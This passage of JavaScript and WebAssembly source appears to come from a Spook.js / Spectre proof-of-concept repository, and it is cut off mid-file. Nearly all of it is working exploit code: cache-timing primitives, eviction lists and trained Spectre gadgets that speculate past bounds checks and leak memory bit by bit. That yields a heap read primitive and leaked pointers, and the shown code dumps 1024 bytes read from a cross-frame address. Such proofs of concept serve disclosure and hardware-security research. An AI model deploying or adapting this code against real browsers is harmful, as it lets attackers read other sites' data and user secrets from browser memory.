0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b, 0xf4, 0x02, 0x00, 0x41, 0x00, 0x20, 0x09, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0a, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0b, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0c, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0d, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0e, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x0f, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x10, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x10, 0x00, 0x03, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x01, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x02, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x03, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x04, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x06, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x07, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x08, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x05, 0x6a, 0x28, 0x02, 0x00, 0x20, 0x00, 0x41, 0x03, 0x6b, 0x21, 0x00, 0x20, 0x00, 0x41, 0x00, 0x4e, 0x0d, 0x00, 0x0b, 0x1a, 0x0b]); 78 | class L1Timer { 79 | constructor(callback) { 80 | this.memory = new WebAssembly.Memory({ 81 | initial: 8192, 82 | maximum: 8192, 83 | }); 84 | const wasmU82 = new Uint8Array(this.memory.buffer); 85 | for (let i = 0; i < wasmU82.length; i += PAGE_SZ) { 86 | wasmU82[i+8] = 1; 87 | } 88 | this.memPages = Math.floor(8192*64*1024)/PAGE_SZ; 89 | this.cacheSets = this._generateCacheSets(); 90 | this.clearSets = this._generateCacheSets(); 91 | 92 | this.wasm = new WebAssembly.Instance(new WebAssembly.Module(wasmBytes), { 93 | env: { 94 | mem: this.memory, 95 | plruCallback: callback 96 | } 97 | }); 98 | 99 | this.timeCacheSet(0); 100 | for (let i = 0; i < 100000; i++) { 101 | callback(); 102 | } 103 | } 104 | 105 | _timeL1(cacheSet, clearSet) { 106 | const start = performance.now(); 107 | this.wasm.exports.oscillateTreePLRU2(4000, 108 | cacheSet[0], 109 | cacheSet[1], 110 | cacheSet[2], 111 | cacheSet[3], 112 | cacheSet[4], 113 | cacheSet[5], 114 | cacheSet[6], 115 | cacheSet[7], 116 | clearSet[0], 117 | clearSet[1], 118 | clearSet[2], 119 | clearSet[3], 120 | clearSet[4], 121 | clearSet[5], 122 | clearSet[6], 123 | clearSet[7] 124 | ); 125 | const end = performance.now(); 126 | return end - start; 127 | } 128 | 129 | _randomPage() { 130 | const rnd = Math.floor(Math.random() * this.memPages); 131 | return PAGE_SZ*rnd; 132 | } 133 | 134 | _generateCacheSets() { 135 | const cacheSets = new Array(CACHE_LINES_PER_PAGE); 136 | for (let i = 0; i < cacheSets.length; i++) { 137 | cacheSets[i] = new Array(CACHE_WAYS); 138 | } 139 | for (let i = 0; i < cacheSets[0].length; i++) { 140 | cacheSets[0][i] = this._randomPage(); 141 | } 142 | for (let i = 1; i < cacheSets.length; i++) { 143 | for (let j = 0; j < cacheSets[i].length; j++) { 144 | cacheSets[i][j] = cacheSets[0][j]+i*CACHE_LINE_SZ; 145 | } 146 | } 147 | return cacheSets; 148 | } 149 | 150 | timeCacheSet(cacheSetIndex) { 151 | const cacheSet = this.cacheSets[cacheSetIndex]; 152 | const clearSet = this.clearSets[cacheSetIndex]; 153 | return this._timeL1(cacheSet, clearSet); 154 | } 155 | } 156 | 157 | function sort(arr) { 158 | for (let i = 0; i < arr.length; i++) { 159 | for (let j = 0; j < arr.length-1; j++) { 160 | if (arr[j] > arr[j+1]) { 161 | const tmp = arr[j]; 162 | arr[j] = arr[j+1]; 163 | arr[j+1] = tmp; 164 | } 165 | } 166 | } 167 | return arr; 168 | } 169 | 170 | function indexOfMin(arr) { 171 | let minValue = arr[0]; 172 | let minIndex = 0; 173 | for (let i = 0; i < arr.length; i++) { 174 | if (arr[i] < minValue) { 175 | minValue = arr[i]; 176 | minIndex = i; 177 | } 178 | } 179 | return minIndex; 180 | } 181 | 182 | function randomCacheLine() { 183 | return Math.floor(CACHE_LINES_PER_PAGE*Math.random()); 184 | } 185 | 186 | const alignedMemory = new Uint8Array(new WebAssembly.Memory({ 187 | initial: 1, 188 | maximum: 1, 189 | }).buffer); 190 | alignedMemory[8] = 1; 191 | 192 | const accessArgs = new Uint32Array([0]); 193 | function accessPage(trash) { 194 | const pageOffset = accessArgs[0]|0; 195 | return alignedMemory[pageOffset+trash]; 196 | } 197 | 198 | const benchmark = new L1Timer(accessPage); 199 | 200 | // accessPage will touch more cache lines besides the one that we trigger 201 | // To find a cache line that is not used, we first iterate through all and 202 | // choose the fastest one. 203 | const cacheSetTimings = new Array(CACHE_LINES_PER_PAGE); 204 | for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) { 205 | cacheSetTimings[set] = benchmark.timeCacheSet(set); 206 | } 207 | const fastSet = indexOfMin(cacheSetTimings); 208 | 209 | const reps = 200; 210 | const hits = new Array(reps); 211 | const misses = new Array(reps); 212 | const hitOffset = fastSet*CACHE_LINE_SZ; 213 | const missOffset = (hitOffset + PAGE_SZ/2) % PAGE_SZ; 214 | for (let i = 0; i < reps; i++) { 215 | accessArgs[0] = hitOffset; 216 | hits[i] = benchmark.timeCacheSet(fastSet); 217 | accessArgs[0] = missOffset 218 | misses[i] = benchmark.timeCacheSet(fastSet); 219 | } 220 | 221 | hits.sort((a, b) => a - b); 222 | misses.sort((a, b) => a - b); 223 | 224 | const CACHE_L1_THRESHOLD = (median(hits) + median(misses)) / 2; 225 | 226 | log(`${hits[2]} - ${hits[50]} - ${hits[98]}`); 227 | log(`${misses[2]} - ${misses[50]} - ${misses[98]}`); 228 | log(`L1 THRESHOLD (AUTO CALIBRATED): ${CACHE_L1_THRESHOLD}`); 229 | 230 | // We access the "leakMe" array at incremental offsets and measure the hits 231 | // to the l1 cache sets using our L1Timer. 232 | // The results are stored in a 2-dimensional array. 233 | // After collecting the data, find consecutive runs of cache hits, that 234 | // transition from one cache set to the next. 235 | 236 | const accessLeakMeArgs = new Uint32Array([0]); 237 | function accessLeakMe(trash) { 238 | const offset = accessLeakMeArgs[0] | 0; 239 | return leakMe[offset+trash]; 240 | } 241 | 242 | const leakMeTimer = new L1Timer(accessLeakMe); 243 | 244 | function leakMeTestSet(offset, set) { 245 | accessLeakMeArgs[0] = offset; 246 | return leakMeTimer.timeCacheSet(set) > CACHE_L1_THRESHOLD; 247 | } 248 | 249 | const elementSize = 4; 250 | const elementsPerCacheLine = CACHE_LINE_SZ/elementSize; 251 | const testElementCount = 128; 252 | 253 | const cacheHits = new Array(testElementCount); 254 | for (let i = 0; i < cacheHits.length; i++) { 255 | cacheHits[i] = new Array(CACHE_LINES_PER_PAGE); 256 | for (let j = 0; j < cacheHits[i].length; j++) { 257 | cacheHits[i][j] = 0; 258 | } 259 | } 260 | 261 | for (let i = 0; i < testReps; i++) { 262 | for (let set = 0; set < CACHE_LINES_PER_PAGE; set++) { 263 | for (let elementIndex = 0; elementIndex < testElementCount; elementIndex++) { 264 | if (leakMeTestSet(elementIndex, set)) { 265 | cacheHits[elementIndex][set] += 1; 266 | } 267 | } 268 | } 269 | } 270 | 271 | function previousCacheSet(cacheSet) { 272 | return (CACHE_LINES_PER_PAGE+cacheSet-1) % CACHE_LINES_PER_PAGE; 273 | } 274 | 275 | // Find all clear transitions from one cache set to the next. 276 | // I.e. it should look like: 277 | // hit | miss 278 | // -----+----- 279 | // miss | hit 280 | function* findTransitions() { 281 | let offset = elementsPerCacheLine; 282 | // need at least 16 elements to the bottom 283 | while (offset <= cacheHits.length - elementsPerCacheLine) { 284 | for (let cacheSet = 0; cacheSet < CACHE_LINES_PER_PAGE; cacheSet++) { 285 | const prevCacheSet = previousCacheSet(cacheSet); 286 | if (cacheHits[offset][cacheSet] != testReps) continue; 287 | if (cacheHits[offset-1][prevCacheSet] != testReps) continue; 288 | if (cacheHits[offset-1][cacheSet] != 0) continue; 289 | if (cacheHits[offset][prevCacheSet] != 0) continue; 290 | yield [offset, cacheSet]; 291 | } 292 | offset++; 293 | } 294 | } 295 | 296 | // The algorithm is very simple, try to find runs of cache set hit that 297 | // transition from one cache set to the next. I.e. if we iterate over the array 298 | // elements, we expect 16 hits on cacheSet n, followed by 16 hits on n+1. 299 | function inferCacheAlignment(falsePositiveThreshold, falseNegativeThreshold) { 300 | for (const [transitionOffset, transitionCacheSet] of findTransitions()) { 301 | const prevCacheSet = previousCacheSet(transitionCacheSet); 302 | const startOffset = transitionOffset - elementsPerCacheLine; 303 | const maxHitCount = 2 * elementsPerCacheLine * testReps; 304 | let hitCount = 0; 305 | let wrongHitCount = 0; 306 | for (let i = 0; i < elementsPerCacheLine; i++) { 307 | hitCount += cacheHits[startOffset+i][prevCacheSet]; 308 | hitCount += cacheHits[transitionOffset+i][transitionCacheSet]; 309 | wrongHitCount += cacheHits[startOffset+i][transitionCacheSet]; 310 | wrongHitCount += cacheHits[transitionOffset+i][prevCacheSet]; 311 | } 312 | if (hitCount/maxHitCount >= (1-falseNegativeThreshold) 313 | && wrongHitCount/maxHitCount < falsePositiveThreshold) { 314 | return [true, startOffset, prevCacheSet]; 315 | } 316 | } 317 | return [false, -1, -1]; 318 | } 319 | 320 | const kEndMarker = 0xffffffff; 321 | const kWasmPageSize = 64*1024; 322 | class EvictionList { 323 | constructor(initialSize, offset) { 324 | const memorySize = initialSize*PAGE_SZ; 325 | this.memory = new DataView(new WebAssembly.Memory({initial: Math.ceil(memorySize/kWasmPageSize)}).buffer); 326 | this.head = offset; 327 | for (let i = 0; i < initialSize-1; i++) { 328 | this.memory.setUint32(i*PAGE_SZ+offset, (i+1)*PAGE_SZ+offset, true); 329 | } 330 | this.tail = (initialSize-1)*PAGE_SZ+offset; 331 | this.memory.setUint32(this.tail, kEndMarker, true); 332 | this.length = initialSize; 333 | } 334 | 335 | traverse() { 336 | let e = this.head; 337 | while (e != kEndMarker) { 338 | e = this.memory.getUint32(e, true); 339 | } 340 | return e; 341 | } 342 | } 343 | 344 | function sleep(ms) { 345 | return new Promise(r=>setTimeout(r, ms)); 346 | } 347 | 348 | function alignedArrayBuffer(sz) { 349 | const wasm_pages = Math.ceil(sz/(64*1024)); 350 | return new WebAssembly.Memory({initial: wasm_pages, maximum: wasm_pages}).buffer 351 | } 352 | 353 | const probeArray = new Uint8Array(alignedArrayBuffer(PAGE_SZ)); 354 | probeArray[0] = 1; 355 | 356 | const spectreArgs = new Uint32Array([0, 0, 0, 0]); 357 | 358 | /** 359 | * Returns a copy of the function `fn` that is not optimized. 360 | * Never call the original function `fn` - only ever call the function returned by `preventOptimization`. 361 | * 362 | * Note: Does not work with variadic functions. 363 | * 364 | * Operation is controlled by the `CONFIG_CHEAT_PREVENT_OPTIMIZATION` configuration parameter. 365 | * - NEVER: Rewrites `fn` so V8 will refuse to inline or optimize it. 366 | * - ALWAYS: Uses Natives.neverOptimizeFunction and throws an error if it's not available. 367 | * - PREFER: Uses Natives.neverOptimizeFunction if it's available, otherwise rewrites `fn` 368 | */ 369 | function preventOptimization(fn) { 370 | /** 371 | * Use V8's native functions for disabling optimization where we can and are configured to do so. 372 | */ 373 | //if ((CONFIG_CHEAT_PREVENT_OPTIMIZATION === PREFER && Natives.enabled) || CONFIG_CHEAT_PREVENT_OPTIMIZATION === ALWAYS) { 374 | // Natives.neverOptimizeFunction(fn); 375 | // return fn; 376 | //} 377 | 378 | /** 379 | * Otherwise, abuse the fact that V8 refuses to optimize very large functions by rewriting the function to include a 380 | * very large number of operations. We prevent these operations from actually being executed by wrapping the code 381 | * in a conditional statement that is always true. 382 | */ 383 | const code = fn.toString(); 384 | 385 | // Use a parameter as the source for the conditional statement so V8 doesn't know it can remove dead code. 386 | let parameters = code.slice( 387 | code.indexOf('(') + 1, 388 | code.indexOf(')') 389 | ); 390 | parameters = parameters.trim(); 391 | parameters = parameters + (parameters === "" ? "" : ", ") + "__RUN__CODE__=true"; 392 | 393 | const body = code.slice( 394 | code.indexOf('{') + 1, 395 | code.lastIndexOf('}') 396 | ); 397 | 398 | const optimizationKiller = new Array(30 * 1000).fill('x++;').join(""); 399 | const async = code.startsWith("async") ? "async" : ""; 400 | 401 | return eval(`( 402 | ${async} function(${parameters}){ 403 | if (__RUN__CODE__) { 404 | ${body}; 405 | return undefined; 406 | } 407 | 408 | let x=0; 409 | ${optimizationKiller} 410 | return x; 411 | } 412 | );`); 413 | } 414 | 415 | function spectreGadget() { 416 | // We want to access as little memory as possible to avoid false positives. 417 | // Putting arguments in a global array seems to work better than passing them 418 | // as parameters. 419 | const idx = spectreArgs[0]|0; 420 | const bit = spectreArgs[1]|0; 421 | const junk = spectreArgs[2]|0; 422 | 423 | // Add a loop to control the state of the branch predictor 424 | // I.e. we want the last n branches taken/not taken to be consistent 425 | for (let i = 0; i < 200; i++); 426 | 427 | // idx will be out of bounds during speculation 428 | // if the bit is zero, we access cache line 0 of the probe array otherwise 429 | // 0x800 (cache line 32) 430 | 431 | if (idx < spectreArray.length) { 432 | return probeArray[((spectreArray[idx]>>bit)&1)*0x800]; 433 | } 434 | 435 | return probeArray[0x400]; 436 | } 437 | 438 | const testBit = preventOptimization(function testBit(evictionList, offset, bit, bitValue, noopt = true) { 439 | spectreArgs[0] = 0; 440 | spectreArgs[1] = 0; 441 | 442 | // Run the gadget twice to train the branch predictor. 443 | for (let j = 0; j < 2; j++) { 444 | spectreGadget(); 445 | } 446 | 447 | // Try to evict the length field of our array from memory, so that we can 448 | // speculate over the length check. 449 | evictionList.traverse(); 450 | 451 | spectreArgs[0] = offset; 452 | spectreArgs[1] = bit; 453 | 454 | // In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1. 455 | const timing = spectreTimer.timeCacheSet(bitValue == 1 ? 32 : 0); 456 | 457 | return timing > CACHE_L1_THRESHOLD; 458 | }); 459 | 460 | function leakBit(evictionList, offset, bit) { 461 | let zeroes = 0; 462 | let ones = 0; 463 | 464 | // Our leak is probabilistic. To filter out some noise, we test both for bit 0 465 | // and 1 repeatedly. If we didn't get a difference in cache hits, continue 466 | // until we see a diff. 467 | for (let i = 0; i < 1; i++) { 468 | if (testBit(evictionList, offset, bit, 0)) zeroes++; 469 | if (testBit(evictionList, offset, bit, 1)) ones++; 470 | } 471 | for (let i = 1; ones == zeroes && i < 5; i++) { 472 | if (testBit(evictionList, offset, bit, 0)) zeroes++; 473 | if (testBit(evictionList, offset, bit, 1)) ones++; 474 | if (ones != zeroes) break; 475 | } 476 | return ones > zeroes ? 1 : 0; 477 | } 478 | 479 | function leakByte(evictionList, offset) { 480 | let byte = 0; 481 | for (let bit = 0; bit < 8; bit++) { 482 | byte |= leakBit(evictionList, offset, bit) << bit; 483 | } 484 | return byte; 485 | } 486 | 487 | function median(values) { 488 | return values.sort((a, b) => a - b)[values.length >> 1]; 489 | } 490 | 491 | function createHeapReadPrimitive(arrayValue) { 492 | const [leakSuccess, alignedIndex, inferredCacheSet] = inferCacheAlignment(0.20, 0.05); 493 | if (leakSuccess) { 494 | log(`Inferred memory layout: array index ${alignedIndex} is in cacheSet ${inferredCacheSet}`); 495 | } else { 496 | err("Could not infer memory layout"); 497 | return null; 498 | } 499 | 500 | const arrayPageOffset = (PAGE_SZ + inferredCacheSet * CACHE_LINE_SZ - alignedIndex * elementSize) % PAGE_SZ; 501 | log(`Array elements page offset: 0x${(arrayPageOffset).toString(16)}`); 502 | 503 | // We want the backing store ptr and the length of the typed array to be on separate cache lines. 504 | const desiredAlignment = 2 * CACHE_LINE_SZ - (40); 505 | let typedArrayPageOffset = (arrayPageOffset + leakMe.length * 4) % PAGE_SZ; 506 | log(`TypedArray at 0x${typedArrayPageOffset.toString(16)}`); 507 | 508 | // We prepared a memory layout in setup_memory.js that looks like this: 509 | // leakMe | typedArray[0] | typedArrayBackingStore[0] | typedArray[1] | typedArrayBackingStore[1] | ... 510 | // Just iterate through them to find one that has the alignment we want. 511 | let alignedTypedArray = undefined; 512 | for (let i = 0; i < 63; i++) { 513 | if (typedArrayPageOffset % (2 * CACHE_LINE_SZ) == desiredAlignment) { 514 | log(`Found TypedArray with desired alignment (@0x${typedArrayPageOffset.toString(16)}) index: ${i}`); 515 | alignedTypedArray = typedArrays[i]; 516 | // Fill all arrays before and after with 0x41 so that we can see them in 517 | // the hexdump. 518 | // We also use it as a known value to test if our leak works. 519 | for (let j = 0; j < 64; j++) { 520 | for (let k = 0; k < typedArrays[j].length; k++) { 521 | typedArrays[j][k] = arrayValue[k]; 522 | } 523 | typedArrays[j][0] = j; 524 | } 525 | alignedTypedArrayIndex = i; 526 | break; 527 | } 528 | typedArrayPageOffset += 164; 529 | typedArrayPageOffset %= PAGE_SZ; 530 | } 531 | if (alignedTypedArray == undefined || alignedTypedArrayIndex >= 0x20) { 532 | err("Couldn't create TypedArray with right alignment"); 533 | return null; 534 | } 535 | 536 | // Create these as globals. 537 | // The spectreArray is what we will access out of bounds. 538 | // The spectreTimer calls the spectre gadget and checks which cache sets it's using. 539 | Object.defineProperty(this, "spectreArray", { 540 | value: alignedTypedArray, 541 | }); 542 | Object.defineProperty(this, "spectreTimer", { 543 | value: new L1Timer(spectreGadget) 544 | }); 545 | 546 | // This will be used to evict the typed array length from the cache 547 | const typedArrayEvictionList = new EvictionList(EVICTION_LIST_SIZE, typedArrayPageOffset & 0xfc0); 548 | 549 | return { 550 | pageOffset: arrayPageOffset, 551 | index: alignedTypedArrayIndex, 552 | leak: (offset) => leakByte(typedArrayEvictionList, offset) 553 | }; 554 | } -------------------------------------------------------------------------------- /static/js/main-worker.js: -------------------------------------------------------------------------------- 1 | self.importScripts('leaky-page/leaky-page.js', 'util.js', 'spook.js'); 2 | 3 | function spectreGadget2() { 4 | // We want to access as little memory as possible to avoid false positives. 5 | // Putting arguments in a global array seems to work better than passing them 6 | // as parameters. 7 | const object = spectreArgs[0]|0; 8 | const array = spectreArgs[1]|0; 9 | const bit = spectreArgs[2]|0; 10 | 11 | for (let i = 0; i < 200; i++); 12 | 13 | if (array < typedArrays[object].f0) { 14 | return probeArray[((typedArrays[array].length>>bit)&1)*0x800]; 15 | } 16 | 17 | return probeArray[0x400]; 18 | } 19 | 20 | const testBit2 = preventOptimization(function(evictionList1, evictionList2, offset, bit, bitValue) { 21 | spectreArgs[0] = offset; 22 | spectreArgs[1] = 0; 23 | spectreArgs[2] = 0; 24 | 25 | // Run the gadget twice to train the branch predictor. 26 | for (let j = 0; j < 2; j++) { 27 | spectreGadget2(); 28 | } 29 | 30 | evictionList1.traverse(); 31 | 32 | spectreArgs[0] = offset; 33 | spectreArgs[1] = offset; 34 | spectreArgs[2] = bit; 35 | 36 | const timing = spectreTimer2.timeCacheSet(bitValue == 1 ? 32 : 0); 37 | 38 | return timing > CACHE_L1_THRESHOLD; 39 | }); 40 | 41 | function leakBit2(evictionList1, evictionList2, offset, bit) { 42 | let zeroes = 0; 43 | let ones = 0; 44 | 45 | const min_leak_reps = 1; 46 | const max_leak_reps = 3; 47 | 48 | // Our leak is probabilistic. To filter out some noise, we test both for bit 0 49 | // and 1 repeatedly. If we didn't get a difference in cache hits, continue 50 | // until we see a diff. 51 | for (let i = 0; i < min_leak_reps ; i++) { 52 | if (testBit2(evictionList1, evictionList2, offset, bit, 0)) zeroes++; 53 | if (testBit2(evictionList1, evictionList2, offset, bit, 1)) ones++; 54 | } 55 | for (let i = min_leak_reps ; ones == zeroes && i < max_leak_reps ; i++) { 56 | if (testBit2(evictionList1, evictionList2, offset, bit, 0)) zeroes++; 57 | if (testBit2(evictionList1, evictionList2, offset, bit, 1)) ones++; 58 | if (ones != zeroes) break; 59 | } 60 | return ones > zeroes ? 1 : 0; 61 | } 62 | 63 | function leakByte2(evictionList1, evictionList2, offset) { 64 | let byte = 0; 65 | for (let bit = 0; bit < 8; bit++) { 66 | byte |= leakBit2(evictionList1, evictionList2, offset, bit) << bit; 67 | } 68 | return byte; 69 | } 70 | 71 | function spectreGadget3() { 72 | // We want to access as little memory as possible to avoid false positives. 73 | // Putting arguments in a global array seems to work better than passing them 74 | // as parameters. 75 | const object = spectreArgs[0]|0; 76 | const array = spectreArgs[1]|0; 77 | const bit = spectreArgs[2]|0; 78 | const index = spectreArgs[3]|0; 79 | 80 | for (let i = 0; i < 200; i++); 81 | 82 | // Leak the 83 | if (array < typedArrays[object].f0) { 84 | return probeArray[((typedArrays[array][index]>>bit)&1)*0x800]; 85 | } 86 | 87 | return probeArray[0x400]; 88 | } 89 | 90 | const testBit3 = preventOptimization(function(evictor, offset, bit, bitValue) { 91 | spectreArgs[0] = offset; 92 | spectreArgs[1] = 0; 93 | spectreArgs[2] = 0; 94 | 95 | // Run the gadget twice to train the branch predictor. 96 | for (let j = 0; j < 2; j++) { 97 | spectreGadget3(); 98 | } 99 | 100 | // Try to evict the length field of our array from memory, so that we can 101 | // speculate over the length check. 102 | evictor.traverse(); 103 | 104 | spectreArgs[0] = offset; 105 | spectreArgs[1] = offset; 106 | spectreArgs[2] = bit; 107 | 108 | // In the gadget, we access cacheSet 0 if the bit was 0 and set 32 for bit 1. 109 | const timing = spectreTimer3.timeCacheSet(bitValue == 1 ? 32 : 0); 110 | 111 | return timing > CACHE_L1_THRESHOLD; 112 | }); 113 | 114 | function leakBit3(evictor, offset, bit) { 115 | let zeroes = 0; 116 | let ones = 0; 117 | 118 | const min_leak_reps = 10; 119 | const max_leak_reps = 20; 120 | 121 | // Our leak is probabilistic. To filter out some noise, we test both for bit 0 122 | // and 1 repeatedly. If we didn't get a difference in cache hits, continue 123 | // until we see a diff. 124 | for (let i = 0; i < min_leak_reps ; i++) { 125 | if (testBit3(evictor, offset, bit, 0)) zeroes++; 126 | if (testBit3(evictor, offset, bit, 1)) ones++; 127 | } 128 | for (let i = min_leak_reps ; ones == zeroes && i < max_leak_reps ; i++) { 129 | if (testBit3(evictor, offset, bit, 0)) zeroes++; 130 | if (testBit3(evictor, offset, bit, 1)) ones++; 131 | if (ones != zeroes) break; 132 | } 133 | return ones > zeroes ? 1 : 0; 134 | } 135 | 136 | function leakByte3(evictor, offset) { 137 | let byte = 0; 138 | for (let bit = 0; bit < 8; bit++) { 139 | byte |= leakBit3(evictor, offset, bit) << bit; 140 | } 141 | return byte; 142 | } 143 | 144 | async function main() { 145 | const PAGE_SZ = 4096; 146 | const CACHE_LINE_SZ = 64; 147 | 148 | const data = new Array(0x20).fill(0x5A); 149 | 150 | const result = createHeapReadPrimitive(data); 151 | if (result === null) { 152 | return null; 153 | } 154 | 155 | Object.defineProperty(self, "spectreTimer2", { 156 | value: new L1Timer(spectreGadget2) 157 | }); 158 | Object.defineProperty(self, "spectreTimer3", { 159 | value: new L1Timer(spectreGadget3) 160 | }); 161 | 162 | const {pageOffset, index, leak} = result; 163 | 164 | // Use leaky-page to deduce the correct object to leak with 165 | // The proof-of-concept uses this to improve reliability and increase speed of setting spook.js up. 166 | let objectPageOffset = (pageOffset + 984) % PAGE_SZ; 167 | //const CACHE_LINE_SZ = 64; 168 | const OBJECT_LENGTH = 15 * 4; 169 | const desiredObjectAlignment = 2 * CACHE_LINE_SZ - (16); 170 | let alignedObjectIndex = 0; 171 | for (let i = 70; i < 128; i++) { 172 | if ((objectPageOffset % (2 * CACHE_LINE_SZ)) == desiredObjectAlignment) { 173 | log(`found object with desired alignment (@0x${objectPageOffset.toString(16)}) index: ${i}`); 174 | alignedObjectIndex = i; 175 | break; 176 | } 177 | 178 | objectPageOffset += OBJECT_LENGTH; 179 | objectPageOffset %= PAGE_SZ; 180 | } 181 | if (alignedObjectIndex == 0) { 182 | err(ERR_U8_ALIGN, "couldn't create object with right alignment"); 183 | return; 184 | } 185 | 186 | // Construct an offset from the SpectreV1 array to the end of the last array (chosen arbitrarily) 187 | const ARRAY_LENGTH = 0xA4; 188 | const ARRAY_END = 0x20 + ARRAY_LENGTH * (64 - index - 1); 189 | 190 | // Verify that the primitive was constructed correctly. 191 | let count = 0; 192 | for (let i = 0; i < 300; i++) { 193 | if (leak(ARRAY_END - 32) === 0x3F) { 194 | count++; 195 | } 196 | } 197 | log(`Accuracy of heap read primitive ${count}/300`); 198 | if (count < 200) { 199 | err(`Failed to construct heap read primitive.`); 200 | return; 201 | } 202 | log("Heap read primitive successfully constructed."); 203 | 204 | // Calculate an offset to the beginning of the last array 205 | const ARRAY_START = ARRAY_END - ARRAY_LENGTH + 0x38; 206 | 207 | // Read ext_ptr_2 208 | const BasePointer = BigInt( 209 | (mode(100, x => leak(ARRAY_START + 44)) << 0) | 210 | (mode(100, x => leak(ARRAY_START + 45)) << 8) 211 | ) << 32n; 212 | 213 | log(`Leaked heap pointer : 0x${BasePointer.toString(16)}`); 214 | 215 | // Read base_ptr 216 | const ArrayPointer = BigInt( 217 | (mode(100, x => leak(ARRAY_START + 48)) << 0) | 218 | (mode(100, x => leak(ARRAY_START + 49)) << 8) | 219 | (mode(100, x => leak(ARRAY_START + 50)) << 16) | 220 | (mode(100, x => leak(ARRAY_START + 51)) << 24) 221 | ) + 0x07n + BasePointer; 222 | log(`Leaked array pointer: 0x${ArrayPointer.toString(16)}`); 223 | 224 | // Construct spook.js 225 | const spookjs = await SpookJs.create(typedArrays, { 226 | index: alignedObjectIndex, 227 | offset: Math.floor(objectPageOffset / 64), 228 | verify: {address: ArrayPointer, value: 0x3F} 229 | }); 230 | 231 | if (spookjs === null) { 232 | err(`Failed to construct spook.js type confusion primitive`); 233 | return; 234 | } 235 | log(`Constructed spook.js type confusion primitive`); 236 | 237 | const address = await getCrossFrameAddress(); 238 | log("Leaking from 0x" + address.toString(16)); 239 | 240 | const start = address - 1024n; 241 | const end = start + 1024n; 242 | 243 | const startTime = performance.now(); 244 | for (let i = start; i < end; i += 16n) { 245 | const bytes = []; 246 | for (let offset = 0n; offset < 16n; offset++) { 247 | bytes.push(spookjs.leak(i + offset)); 248 | } 249 | 250 | const offset = (i - 16n).toString(16); 251 | const hex = bytes.map(x => x.toString(16).padStart(2, '0')).join(' '); 252 | const ascii = bytes.map(x => (32 <= x && x <= 126) ? String.fromCharCode(x) : ".").join(''); 253 | 254 | log(`0x${offset} ${hex} ${ascii}`); 255 | } 256 | const endTime = performance.now(); 257 | log(`[*] Leaked 1024 bytes in ${Math.round(endTime - startTime)}ms`); 258 | } 259 | 260 | const EVICTION_SET_MAX_SIZE = 64; 261 | 262 | function shuffle(array) { 263 | var currentIndex = array.length, temporaryValue, randomIndex; 264 | 265 | // While there remain elements to shuffle... 266 | while (0 !== currentIndex) { 267 | 268 | // Pick a 